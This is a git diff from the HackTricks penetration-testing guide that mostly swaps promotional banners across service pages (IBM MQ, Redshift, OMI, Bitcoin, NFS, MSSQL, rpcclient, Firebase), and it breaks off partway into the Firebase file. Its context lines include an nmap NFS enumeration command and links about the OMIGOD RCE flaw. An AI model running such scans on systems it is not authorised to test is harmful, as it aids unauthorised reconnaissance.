-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
**Try Hard Security Group**
@@ -81,15 +84,18 @@
{% embed url="https://discord.gg/tryhardsecurity" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/network-services-pentesting/1414-pentesting-ibmmq.md b/network-services-pentesting/1414-pentesting-ibmmq.md
index 531f7a94f6b..ad912890b72 100644
--- a/network-services-pentesting/1414-pentesting-ibmmq.md
+++ b/network-services-pentesting/1414-pentesting-ibmmq.md
@@ -1,16 +1,19 @@
# 1414 - Pentesting IBM MQ
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Basic information
diff --git a/network-services-pentesting/5439-pentesting-redshift.md b/network-services-pentesting/5439-pentesting-redshift.md
index f843eb9560d..a944c8356cb 100644
--- a/network-services-pentesting/5439-pentesting-redshift.md
+++ b/network-services-pentesting/5439-pentesting-redshift.md
@@ -1,16 +1,19 @@
# 5439 - Pentesting Redshift
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Basic Information
@@ -20,14 +23,17 @@ For more information check:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/network-services-pentesting/5985-5986-pentesting-omi.md b/network-services-pentesting/5985-5986-pentesting-omi.md
index 3204956bcea..3d0b59f9dbc 100644
--- a/network-services-pentesting/5985-5986-pentesting-omi.md
+++ b/network-services-pentesting/5985-5986-pentesting-omi.md
@@ -1,16 +1,19 @@
# 5985,5986 - Pentesting OMI
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
### **Basic Information**
@@ -52,14 +55,17 @@ For a more information about this CVE **[check this](https://github.com/horizon3
* [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
* [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md b/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md
index 3f3ab5903db..1e0c44f7671 100644
--- a/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md
+++ b/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md
@@ -1,16 +1,19 @@
# 8333,18333,38333,18444 - Pentesting Bitcoin
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Basic Information
@@ -58,14 +61,17 @@ PORT STATE SERVICE
[...]
```
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/network-services-pentesting/nfs-service-pentesting.md b/network-services-pentesting/nfs-service-pentesting.md
index 55e06dc3bfb..92f29839a47 100644
--- a/network-services-pentesting/nfs-service-pentesting.md
+++ b/network-services-pentesting/nfs-service-pentesting.md
@@ -1,16 +1,19 @@
# 2049 - Pentesting NFS Service
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## **Basic Information**
@@ -137,14 +140,17 @@ Entry_2:
Command: nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 {IP}
```
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md
index 69b77ec81d9..9ea2542011c 100644
--- a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md
+++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md
@@ -1,16 +1,19 @@
# Types of MSSQL Users
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
Table taken from the [**docs**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16).
@@ -32,14 +35,17 @@ Table taken from the [**docs**](https://learn.microsoft.com/en-us/sql/relational
| **default\_language\_lcid** | **int** |
Applies to: SQL Server 2016 (13.x) and later, SQL Database.
Suppresses cryptographic metadata checks on the server in bulk copy operations. This enables the user to bulk copy data encrypted using Always Encrypted, between tables or databases, without decrypting the data. The default is OFF.
|
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
index 3769332bd93..5181d8534fd 100644
--- a/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
+++ b/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@@ -1,16 +1,19 @@
# rpcclient enumeration
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
**Try Hard Security Group**
@@ -109,14 +112,17 @@ To **understand** better how the tools _**samrdump**_ **and** _**rpcdump**_ work
{% embed url="https://discord.gg/tryhardsecurity" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/network-services-pentesting/pentesting-web/buckets/firebase-database.md
index 231495bd128..86767522c8a 100644
--- a/network-services-pentesting/pentesting-web/buckets/firebase-database.md
+++ b/network-services-pentesting/pentesting-web/buckets/firebase-database.md
@@ -1,16 +1,19 @@
# Firebase Database
+{% hint style="success" %}
